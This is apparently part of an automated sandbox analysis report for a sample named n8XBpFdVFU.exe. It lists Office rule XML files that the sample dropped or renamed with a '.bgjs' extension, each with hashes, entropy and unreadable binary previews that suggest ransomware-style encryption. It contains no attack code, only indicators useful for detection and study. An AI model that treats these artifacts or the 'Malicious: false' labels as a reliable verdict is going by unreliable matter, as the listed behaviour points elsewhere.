MD5:	50A1CCD0E44F198D4C2E6549E147950C
SHA1:	0640936069B134D1AA8ECB64E9DA59A501E0DB23
SHA-256:	ABB48CC5DB32943D157523B7E11035522E52598469489BF21D95CD2AAF27049F
SHA-512:	A447081C6F142AD121398FC419AAF024425B8F1BCCE544E32B38B3BD9572D15682D66C092B05BC9ED13EC5E6D0E9F807DD7ED1C6C71DFF5F462027A701099C19
Malicious:	false
Preview:	<?xml}.. ...}...;...$.........V...<...2..k.zV..Z....wm#...e[.\|.b.\|.;/...@..J.#.:.......nN....L...Ow......V..@cv....o...Z.N.b$[....{..f../.KN..X...&U.......x/....X...<\|.89...p../...P.a.14...q...l{..$7..TW._.(.QA{.....R....G...7.D..s....-....Qq...p..)"..i.6.e...!..~(........3.8.M..{...u...;.../.........B.^.F..J.x..(".3...2....\|.~..../.l..,.!.[..vd?.&;.6.....5...x..%"....}0..Wpp@5.5...'..>.l.>vN;...KC..L..;7@6.ga....p(....n.{.H.<...V.B.. ......~..t.7.<.l!!...dBK...;.....7T.. ........m5:.kq.U=.....VH..%n..J...._....ubQ.D.l.5Z;..-..i..*..`+.p..<.C..1.5...p.KR...~I...Y.k..)...[...D{v...1.J....sa>..Oi...4}...9..'...sD"of.I.\..v...@a..v...d.p..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.840138240198297
Encrypted:	false
SSDEEP:	24:wRT2pBLGHIWloUC+CPm7BY7zyUDA4oIpdlm/trflb0ZiDbD:wBCCHIkoUC+CPm1SjA4oIpdlm/trdb0i
MD5:	EFE1532308E3502CC2235DD85EBED5A1
SHA1:	17DD4FFC6BF9118A161FD4B49D4FE5009BD0CA4B
SHA-256:	A67038C9BE6E48B8025B3635A922E2F8DE211A30FBF771E09CEEA6B5A3455E8D
SHA-512:	5423C40F05BCCA548F38A111ECE89329BEAA561D149047D1BC3F5BB0C060EE5843A55793576D5BC45D7BA391110636EB7A68CEE07020CDFD963565210A19BE1E
Malicious:	false
Preview:	<?xml....m\w......o...U...&...6..7w..H.....{..x6..g.F....M..A..c.g..b.......o}M..."{....N..H. ^.$..rrs.2A........,..K6....~....gw.4.#.o&...?..../...a.T.y.m.....H[.P:.]~..... .........r..N< .Cx.....U..YJ..p...?.=/.5..9......}C.x....\N.K.q.....(/s5..\|.4i....R....X.j..0......=YXqA.;n.N.W..ftW.....j..<.1...5z..<=H.W.8 ....l..nN...Fb..h.j....3..a..r..7gw..X..R.\....T;....M.......F..e...k.jgp^\|..(.y...../..x.....]H2. ........"?.h..~.ZeZ..Y`..\|....3..$k.:...i.^.F...O..3e....Q...eEf^?...D.[.I.....[S.Z>..O._.....v.}l^&,e...[...D..=2./.....n..#$].%.......z?}.....6.l..8........\|..[Y......=.a#...%..`v..P.;..).aB..$I.q...](.7....(.Q...w...I.<iP.E5....-JDv`$$...z.w^pTe....l..........o.....R@c%.f/..{ycI&...1......x7z.'....jW..z.!..f..[IXI........^f..^......x.p..x.%J..A....G6.-=yx..)-VA..b.R.....o....Q>....f..\.y1..4\|...NX.. ..4..E>n)..T.7'....q...y..y.......(.[ar.q *.-..:G.d..k...U.N...Yu......<.o..O.HB..w.....P.(=..K....".l..b.Y.....w..C(....1..@.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.592039079871087
Encrypted:	false
SSDEEP:	12:a+siR31bOd4zibS/Xy3s34uikxcM1+cii9a:a+R3gyziD3soFkxcHbD
MD5:	51E9A1B84E3E66CB4745DB8EC1769E67
SHA1:	987D07C9893E58EA493C11E408C3EF812AA342AA
SHA-256:	C2B851DB18294B79DC0CC1A16B417C23254F2295389825B403D8A6243ABE39BF
SHA-512:	901A4D6911A77F317E72530F7C4934A3D3F29F2B5A2DBE56BEF27E4260DCB174A34658BD5BF6EE10D567DF1628216ABC4B4AFF5E186BC145858C7170F96BD549
Malicious:	false
Preview:	<?xml.s2.T%{.k.....R.~.'........G!..n..}.:p..qL..f.).......X......DW..",B......U^g...$...h>..X.0M~`..<..}VI`.c(...]..4..I\|I. t<...._HV..3.jw<Bv."......<W6...)...?!..9..u...L..?.1.x..U...%3.c.z....vp.&_&.F.!.x..~.;.T.....0@[.f..f=.jQ .(.5......tTI.2:.'.A7..a."......z...`.)...k..9...P....H.U..,......r...t..E...l..e.....u.-l.B..SaE6.].S9.-..I)........R.g.B(n....$4 n...!.k...n!%.r..M...I.{..+...8..{...s...Q_'..C]....X.$r..w.2....s..nb.%.^SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.932107463258798
Encrypted:	false
SSDEEP:	48:UV6caccBjcJq3F1fJn5YKZBnagyiWbllXWwZ/k2mrqi+XEPD:U3uFsqFNJmKZ5agsb/WY+
MD5:	CEA8BB46D8E39CB20EDA642AF250FC27
SHA1:	8CC96D9D783F7257DEE7073DAA40CC8930A7BFCB
SHA-256:	0077D3F323E92D980A7B33D45EB2599D24D64CAE4417D4714B68CBCA972BC3AD
SHA-512:	3A5149B7328CBED18D03AB2CA45F8246AC86028C59F02B9BA4475BEF64EA77441479A3FFBFA7CBC5E09860DEEA9F34FB8F40EDA382B4EF3C95631DB5E9983B64
Malicious:	false
Preview:	<?xmle...'_..HQ.o.>....Y.?.."[.4..... f.=$v..[.....t~.0..e.....f.eD......7.k9U.`........a.....jL.a..x?...;0_H2S.D>...e.,.e.Z.W.K..Nf.~...l...>..yY.~....;...~...9..@..=..t..{.".+.lz.0q...V..i.X..0....F" D.yC.j......Y....6^.,..g..J.Y..5......n.iv...G;......h.=..\|)\|.POF....Lj.9g.p....l.d~D:[(..'..j.r.9....W.....~...^..Q....$Y...~....\|?}..B)cSoi.........Z.. .!.\|......:.......Lr..'O. 0..QD...uY..T\1......nG.I..<....ZhT%.E..^...R(.eM-.+.PY.F.q....{.G.}....E..z.....aH....V.S.o....{.J,............V.[.#...Z..Z.:.4=.:.=D>i.C.S.$B.H!5O_.C..c;A^gY.........X,.5.._......5_E1.qlFFw..R..E.k#.O.Q..E.x.%E.q..9.... .!.`.8..2..7....C...NKn/.......].........V-A..B?.:.g#.i\|...&I.T.4t..[..Vc.\5.......1...F....@a\u..o.....X.@~x'"M....(..eUF{..0..$......`w.).ys(8...1....DR.b/..hu....z.+...h\t.z...{....S-..S.2..s.....u......g..4.b......._QK.[....N".....!...s..y`.P.!....>1...<....~.).<...zLS.8....d..]...s..-P....f........UT..o.-\|.<p.1f....aH$.R.4/........jH4..s...1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.7436602703496735
Encrypted:	false
SSDEEP:	12:r3oX+yfNOgmLIqDzCbu2j0S9Mm3cg16VOniPMPNJT6PntON8Lof1+cii9a:r3yfNOjLPCbu2P9Mm3cgMVbPaNVN/sbD
MD5:	3D765595F06A4DA75061DAC06D669390
SHA1:	003B5735832D560AFC931389F3811E673DDBD97A
SHA-256:	552C5BC55D2723429247637AA0F56FB6087A1E269ACDF96EC69FA3BF6C01ABEE
SHA-512:	E5781962383DE9B27BCDA96403EC2E8630F0C67BAD5B1423CE9466ADD40E8ED95BF5F632050E612DBAE1B161921BFA67B96573186645BC6A7D2A4BC84099059E
Malicious:	false
Preview:	<?xml..4.......X...Tx.....@x..........I.......%.....X..K...a7@..... ..{u....p._...b..1E......2Y.......H..\|LF.a.o.........[...-8.:...p.SC.G..U.(..t2o.7.....&W.....#t....Z...f.%L..V.7.i.....j..[....g.Vr...>>%4.2Uh.....0.....ZA.!.@).V ..[.....g....zu}..J.RI]...v8.cNw$A...q7..I...!.......k....\|.d....7.6..zx..h........+.V"i....Plh-.;6CBF..CK.5...Z$........=j.[\|...5%v./v...j..]..8.n.N..p..XY-P.X.s,.W......0..m&.....(.P$....}.'U&4.w\lu: ............S.$.+.'.Z....J<.H03.:...y..F.#.+..v.......?..H...k8..h...b...g..'.......$.X.....Q....="?..P)..J}.$}.R\.N.;.n...]...E.>e.5e.(...z......ah.G.8)..J.1.?.d...........9...$...#.......ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.712256753101737
Encrypted:	false
SSDEEP:	12:+rHC3hlasF/S58j0aaS3hG/xGtRzkmpagx/LgpkUIcKpc/1+cii9a:+a/apadhQxGthkmpa838CDbD
MD5:	89CBA0FCAE11005D2E33B8401EAF232D
SHA1:	4B7A86E1813CD75C4805DFF0A49CF83F76858B66
SHA-256:	33BB6AE2D81AA7BF4D279698E3FADA16F981FF10D305995F92F7C0655D77EEAF
SHA-512:	F37A1B2C42F2D5364B2DC0730B4B596350D230F9CA6715CB74B8BAB75CF815CC74A2F1D582E057566C796CEA3AE7F73BD3B8CBEE156B7EAA19EF4BAEEE5DF108
Malicious:	false
Preview:	<?xml........S.;.p.B..7.....[.J.lbYx.,...;_(.3...[..7(.}...g.qQ......Tqt.....E.Gn.R....X..e..n..7.;+...?.^..?>d.@v....VK3....6.F.xfP..\"...n..D._.YkD..@.7I.w...v.........Ds@.L.N?.-...hk.%..1...".b..E9..O`..m0.zu..O.;}.U,$.0Ur<.._....b..m.u.7.zT..4`../F;.....<>.iV.5M......%...k..@i5.Sn.hrs...K..8z...O..T./^.Kb..........0.'w..A...`...........qM...IR_..Z......x .........=...7.]..p<.Z...Lf-w...D<.....R....L...2..[g.?..........L..u..m!..........c*.{S....s..B8......f..H..tv_;...4.L.L.......)....pHs.Z..3.qe.....Y....g..b...$...._...;......./&..]@.......HM......v.z6..:t....Ny........!.m./..s.X6..=P..t...}D..Iw&......].WwI..(7.Hg[...1}..B.T..y[~..j...S^.)...@AS.....i{.k .!..2V.k..j%\|SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.729407521171666
Encrypted:	false
SSDEEP:	12:wBq4hve6O2D1PJt/U0GJ3BbU9mQfqG3QWIHfxF2oyb7N4Lee94At1j6xH1+cii9a:wBqqvQ6D43BbmnCQ8fuoyb7eHGxUbD
MD5:	36BF3DDDE583846FCF26B9155104CCB4
SHA1:	CD067B31C63DA4B6FB9BDE813F6F065B5A04D837
SHA-256:	14FAC65FBE192B4B400EC3739E53419209E70F7664C13F7BDB4258D616138555
SHA-512:	E95C56448639158C898808DBF66AD4E2048E5FC132E832D60B61A2DFC3DDCDBD61FDBE5BE7F3413FD2B8CB4BA2A3A422987E379C91F18975D73C88F098637634
Malicious:	false
Preview:	<?xml.Wq.VS..:0 ....\|D..3..Nf...w........).rza..s:^...Oc.S\|#/.....+.....5....X....v...)...:...?....]j.J.0....6.........#^.b......,...4...`.d...d.o(...zU.. ....7..H.w8l$....l.......kE.5._...[.Uv.....]^F!.f...B+..."..+@6.;.........g.......>..jw..B.....%.IV.VAN.G`.9.r.2{.hR..h.I.Z.>..I.L3.7..?M.xQ.........=..a.....K..#.\|rH...irwN8Ae....p<..u#`ya.....X......l.2...rT...X......\....jU...c.!...F.\|..:A.MN9..=.S.dm...1l..i.Afe>Wq.^)"HN.{p/....-...:........'.%.X...I.#.6.a...(.....\,...@...E.w..Y......S8...5....vX.\|_....b..j...$x..;z...+.x.........{..9...*.......n..f_....!...g......._+..^.,._NH.v;v....6.#}....9....42...k^96.r}.i.:.R5.<...[SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.715014128126593
Encrypted:	false
SSDEEP:	12:AeZYmWi24hpQ5SpvN5byUa1qIdazHq/TSEeX7hk99CcGE8zhVvMUELV1+cii9a:Jk4C0N5b1a4hwahKCk8zhVvZbD
MD5:	55FE6B8C4848D8F0FE0CCF903B23E656
SHA1:	755A776378A983039B46865F1999C92B23783B5B
SHA-256:	DCC3FC4FCD5B120EC73C874AAEAE16CF7384D8C55921F039406D3AED59D670C4
SHA-512:	275A9DEE41BA4813E00ACFA0D79800C71848DE0FC63FA234A487392A7A8BD277E72474B682F339659C36C97139604D569692D83A510C905EFDE189DFF4780DA7
Malicious:	false
Preview:	<?xml.ql.v...2].3..^vD.u..D'j..L..5.j\;.."N.gr.^../S.,..>.o0#\|....g..%D..!...K...F...T..)\|).W...3........w.....q..t_...8.5..i....NXI.L.-!.G..e.04.uv..._8.3}.5..lDg'...+..)'.r.z.4...AN.S..L......M.80.I3.IB.......J...B.]C...&Z....B...b.....o....../..Oc..1.Ul.gF.......19B:..UjQ..>.../.42.v...u......VH..}SL.w..Z.f.W.....?^\0t........@..[Cr..'............IX.b7....`.......5.To},...y^5..............{.m.I..f...+..n..(.b.{cQ...[3.%......r.<..`..w..A.#...}.....>..d.k8_.r...6\|.LU...nO2]..~O@.o..p....y.....9....#.9...SV.V..@V8r.f5...hf.@..^.i...B..qbU....p.........'.Q,p.Z..]3.q"....Efk..!9{..'L=i2.Y...'....`m@.~.6...%.upA.V.vUj.@2.E..!....PJ...........:`w.*...#....!...P-.:..\|...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.786002184120619
Encrypted:	false
SSDEEP:	24:hlWFs6xqfcwUMRhTaWk1hNWZQp4GlWHWzdh8UZPuijbD:hlqs7cwxRdmhgZQptW2Rrmi3D
MD5:	B1737D33B2E0A4B576CB5042E57ACE51
SHA1:	3A895967CC65272D41BA51DA6BE2676C7B10EDA2
SHA-256:	6274CC55D56A37B57F96D1FD2442E7700D115782E2E824B533B9212B07B6CA69
SHA-512:	04920EB26E60C896069CDB2E0F2BAE7C0B0B27D21441DB8EE4587955B7693A9AE7F538362CFE84EA8B7DB01292C2972DBD68A4D2A480B60B619B28578DD36172
Malicious:	false
Preview:	<?xmlK..?.......eWS..P..s.....5..F.f.......Gs.?}...V<.3pX-.+..j....mQs.(....+h.(..M...k...].0..S...@.ED#;<.4.....i.q....>.....P.!.....55`....v'...ha......;...Y.\|....q.).R...O...".Qe.]`.n.,n.(9.g0.\...d....U....]............c8........Q.x.......e+E.:.T.lD...&.......:.5}.Z..t...Z.....W....$..+....]...LI..S_.Wl.....`r..>\=d....k.1P.......o..BUr'.Y...5x....9..-...5..;.S...I@.;..E.i.$"....gd..J?].....v....D.W.o.p..e..5SH........%..w,.t.2J.Y..;..}Nq...B.iD....t..a....wq.&O......5ZW.G.+2d.."...U$s..7..<..q...X.......WpE....../VY"..H.oi.Mb.>`f.y.<+.C<}.{R.L'V..Tpb..B....-p..3j..{...^...I.0qf.'.<.<..#.Z.hi2.[.o..\Yyp..jN.A..%....GC.K...w..#.....@]...'...n..]..9H. ~c..s....1.`...0"... .X&....=....b.....*^..N/n^G.QHfO.h`.@.,2a>t+.DG....g.J7.E..Zh.wq.p>.%oZ...V.FG%......7...G..G..\..\|.-R..S.<W...;.E.?@...=9\|k"!>t..ip.f.....3..$.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.715805903580284
Encrypted:	false
SSDEEP:	24:7SWgLppg2qL1zbqBSxrSyNEkCmhBgI1ltADfOAbD:+ppqhnRxrSyxCsOOltADf7D
MD5:	7EC16530C4237629CFD62DD7F1EF077B
SHA1:	B211C92BD2370EF4F84B83A4B555C74EAA8A6634
SHA-256:	AEFC266D46083956B85F26ECD83C8DD3A8440FEB41B3CA9819535082A4DAB761
SHA-512:	F06C3C36AEE6C66E258F73DEC39C812EF147C3C0D25F91EE9A6949E6B40F8C8474F2B295610191553523BA8A1B701799628A718D2A42A13E2A7925BAE7A69EF8
Malicious:	false
Preview:	<?xmlc..~.}...o.<ei.2..5P.hG.\.A.8_S.J..O....F.....G..`...k+w=zq...k..%>..fq.5.D..gqs%.=6.5../...Da.@..L....fS......G.{I..S.5.....v..h...,G9...r..I..?HAo^.`x...K.9..o..E.Q]g.r.v.{..J5....q......b...y8+kj...w8=K..[.....[$.@..5.H...,.o.......,k.}Q....q.i..6P....a(p.?.....P.3.T...o....u....R.......D....e)x..D..O.p..D.f...Q...'....R..y.\|{N.....Q....C[.\.G).\.&...ipg..s=.py.8...K'..a..........o..I.g..t.f..H.F..$......T.J...W]f.X.^.M...&..@.z...J..^.n65<......W.B".^...lg..E.v.J5.fWk........)azR..(..9.syZ....u...;..y.4...C>W.M.f....)S:.,.e.\..':g...M.. .Q.+Z1...L{....1\ .1.7mk.......@..=._v....h../...,..i..q..........B5...\|...4.i..e.P>g..A..Un..ti...ir.0 =.e..8p.*.r!cY.... ..USLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.662918612984524
Encrypted:	false
SSDEEP:	12:GU6AAD4RzfF8DR9D8URjz8tzCQDNBgr5kr+H0pn/nJc6+4GaI1+cii9a:GUR5BfGPR5z8tJ+5k6si/ajbD
MD5:	047128259E564BB67EDBD4536D84EE2E
SHA1:	5F2A90B855ACAB35563FC96FB53B4DDCB9D4CDD4
SHA-256:	BFA1617C7E0930E5C79209689773EA7D5CE8B00F6B656BB88D73EA3D7EA98712
SHA-512:	969411335FF9A0BD832DF063AB1E2F60D9133D80BFAEA81A923191ECEE54BF68DADA0B87262EAD4DC236293E161EDA8F2F5DEBFDD35BA78137348CE9413C6B0C
Malicious:	false
Preview:	<?xml.v...]...K...32B.0..c..82U.I..n.EQ8...g>.s...~o.0.. .......[w~l....\vj.7.K...@G.l.W...-...nD2...vJ&.>tuwM.2....6x..Y..y..W.}..3.....?....>.....x..'.....Ag.'....&.9[..4..."?f.Fs8.o...1...<R......3m.K...E$M.....U'l3...K.T.......I....!.M-..pR.....J...w,.}7..V.&.(..\|..!.xE.:......O..U.9R_....k....."@.L.[.Ctw..H..2..M...0.}8..RO....z..w..[.2.b~..){.s?.....n.$..3..Nb....7.InZ.....8...........t....W.i99.........&.w...h...<[.....(.....y$...>>.......<Nw..'3...Lion.V.....q..W..9..R.@8B.A"7f.Y.#..Y......<!.(..y..#.}Cf;.<%.`...@.I%..%....:%W~}.$.O......Ui..+."..8t)s.?i0p...!D...d..._...N5z...:~.T..... \...Y.I5fo.......q...JSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.74205975284245
Encrypted:	false
SSDEEP:	12:WF2NNXaPo6SKlseHo9vx0vwi2Nn6/mYHqpIYIfRvepiXdR0HP6LgRsC52i1Ik114:WF2CP+0sRqyoxKpfI5GibWI2lIhbD
MD5:	69ECA5F242AA2A6945DECC0A50A87626
SHA1:	044D7D162F59F109736BF63F202DA13CA9750C82
SHA-256:	E3CE7B301097331A2D806B72A005A9EC3E688844A2B897DA864D5C7E17B2E8C3
SHA-512:	8DA1869AA1C7A974BF088D6A234DED571D44EBEB0AFDE1DC0E9897995D2140A4BA22DA719FBB6EF51A444D9A64400B9AAF146B9A5FD8A602197D81B5CA76DAEA
Malicious:	false
Preview:	<?xmln.uK...C.4%G8q4N.......F.~03...u...5....5.N...S.......W...F.Z....Mz.r..w.........^].......s..d(3$...9C.l............1W.T..^]1...).).....aR.}H9.{.9r.<+2.,..P..U.(.vS.9Y..\|i.....G.~{j.HA.".[.R.k.G$....0..\|\.2..]t]!.)...w0...AZ...].....}...a.>......D..N..PAf3'..L27....."w..Q..O..k'..&...nm..mZ.......>.h...\|&...).....Q.F...O..9(-.... ...l.h.......1.I9..Z.H.%....C};.......VU.u.....3J..NVV=r.ER...\|.cH.3.9.<<G..}.=.}T;n..b....w......M~(.@....,..]{Z.............>...O.~..b....I.@.co.G.C....\|$\|e..>......vZ.....<B.Q6.kW..=`k....)".&./....j.y....nI5...R."Zh.....W.v...q.'..Ef..V./.5.A..M"vd...8.qC.._.:?*.tx.X?.......b.$}...n..S....,[.p.N..B][.N.I..sW..H.-A......^W...y...,.....#...O?J...`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.714053529235939
Encrypted:	false
SSDEEP:	12:uBOLv4mY6ew4jOUi+QK9ieKJF71hkrDf4U4sHytc9Jwz/Yw9FLhGg+cE1dZIyqOy:u4Lv4cN4jOUzixJF71hIIsHyu9wgw9Fr
MD5:	017E25A2C56DEF96E994E1DD9BF640A6
SHA1:	876B378BB8BBD213FCAC8FD92CFB7E97DFB43E4F
SHA-256:	D1C8008B9C10AE0A56189DD12B4A547C1A0E63FE441AD7E7A0DAD86BA43C3304
SHA-512:	CC65BA8B2F91A3186CEE9DAB15AB72446931FA51E433DE2F2ECE10716BD733C54E120D1477F55C7C43D22F1E64AFB6CB5B5599E9E6501CD874E3BB04130EF950
Malicious:	false
Preview:	<?xmlL../......p.xe.&..v5u..g...$.B@.8pt.?..f... .LR..m/\&).....T]Q.{..CwJ...m-.^.l..g...y&.b.E..,..co......A...8-..Fu....&...h..}...............KZ"...J..v\..n.Q.".]VE....V..2.q3g;.!..>._...8N.......f..K......o..+..~....i.s....t...q[(..T.e...T...Y.U..'..,..V..]Z4......KY..f.N.o.....v.A...u.B.....El!...B.%W......C<;.A..RZ.2,.....T\......m..:^.^..........XD.QRpT...b..>..g.t.........A.L.7...K....k.2j..J.C\....j...n.......h..W.n.....x.!B.........iQX.L..B/3... ...Z.Np..)...I...In.k..ds....5.%..8...^3..3.QC....=.X..Q ..;.cM......,.O.f.....n..<1.H.Fn..K +.........3.Z?.G...dk.e.....l..Q..C..]l.{.nk.m..~.M ....Y.tR...-._-m...e:.. .....Z..N..t..W.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7250603568069085
Encrypted:	false
SSDEEP:	24:S/fvLgT2u5WscABCFHioxiXh8225wFdj+3X5k2sMUbD:SfLgT2Ucjpz4Xh82256d2O2sM+D
MD5:	491AD6C010BD8494E258B847F58B0E21
SHA1:	9DE54D37A0395F4DCFDBB6BDAC481CF4A1806008
SHA-256:	A8D4B8D19B7234F531BA444D35A666312D12E1A4B69B1D1F450B6B472021BAE7
SHA-512:	F13F82AB97C6E46540EE75DA1A4092466309F599DEE0EABA2B6D40A08D80610617E094565624FB9B1265AE40AAFBEBD7C31FE25FC4E2E145E8382B2662C456AC
Malicious:	false
Preview:	<?xml.s...-c.....k...jJ.AyA....q........t6...Q.zY..4r...."..... .IR}s...v...W........^ .R..H.m...&".DQA.K.....H.P....d...f1..."@...2*.1"<...p.F&........q^.$.. .A..D.p..[..QY)8.Q....@s.....[.5NG......F....3<.....c.8....)]..vt...Ho%)...V!.VS..L^.N.n$P..1T.5s>K80.UU.........i.c...R.cI......<{T.......n3....]p.>Y.@.'E.Vz.[)W?.K.Y..~..pMG\|.iAB.m0.....v..9]..S`.....io.`t....V/I...a.(.1..T.AG.X......L$?..L//Xu......i.'O"y)G..;W.[.........D......V....'..vT.u...T:..}../:..3.F..J.q%XFc......N:qs..tN.pP....hx...K.....i.KD.$....k.......?.Z.....g.:.\|.$}!...hm.\|..9....q.....h....M....h.s+2..3.!?..&...d.....Q..U..b....n..7.E.`f..e..5w....JX"N.Q].22..1<....na.5OJ.b.FtM...WQp).'\|.d.t.z.>..Z}.%..'.6th.{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.663994531630761
Encrypted:	false
SSDEEP:	12:BGb91XeKfWVjOowIbbQyz21x+B9EzGUf4uPyjNyqtSVzuwlh1+cii9a:BuAKpT1sWzGWP0AibD
MD5:	80B8D06ECECF2142AD1A2D1C532A186F
SHA1:	DFCC14D1B5768A2FE4C9EDD57DC9611332429924
SHA-256:	5AC290D912C88048ED0F95EC9FFB56A8319F093752D404310769531752710A4F
SHA-512:	94DE36399BF65B674AAE085206F03BF9D2EED77A6BF31EC544C8B55B931A0C1DFACBCC30BBA8E36BB6733A99C74DD6A8C9BB8087E2B8D1FDCAE4D2805C0D9D7B
Malicious:	false
Preview:	<?xml..'....F..`B3...a.^..<X"6.:4.WWW7...O..M.....Z..KF..MVK.1e./;.dC<..i?......D.{%9v...3.<....y..X..........(F.X.)S...X4..o..>..(.....i..T7!&dI...M..s...HM!._.7?...U..M!.B.......B6.........&D'....6>.r..Ufj4..3J.(7]..c../:.y.s.J!YFL..."...M((.o-hF.....c..8f...Z.S..4H53......1].j."ZJ.S...V7.....t.f...'w.'u.k..Z7...-...W.p.........r.$.;....+....Y3....!.u..e....kh......i(.-.A......2....w...`5.K..X.B.w..U.+.u}Z..D..d...,.e1[...>..1jK......x.._<.E......( 2h;<...$....Z^^P....N..k.....~...S0.....u.....%.h.5......E...:1..%Te(Y..X..:...e.!.V..,y.c........y0['...@..F...lP..Y.4.u.U..6.%.5....{.7}s..^.\|.nZ .X..<.P#~..w.J.kY..@D.4.}..a..ESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.758025443610649
Encrypted:	false
SSDEEP:	12:4XQIGnWIV1hlZGC6eh69WdDSrH2Zdw6RlQ+FsKasa0oIJ01IK9C9jX5LvOz1+ciD:4ABZVvGZeh69Cw63ZFsfsa0VISz5zHbD
MD5:	69DEEA8CDD9C73A500A318F28C327679
SHA1:	3E52C6D03812183545E894DCFB75D73CBF7639A6
SHA-256:	531DC53C984FBC849FF910FF41FDB263744983D2AE430C9B2ADC34EDCFDDB218
SHA-512:	DAC9B3C91177181C6773AECE18DEFD851A532EDC43DC01084CE401DC59206B48C6E963F0AAFADB84BE589F431F2B5C4EE1790C614349F8A365C55C3BADBB7322
Malicious:	false
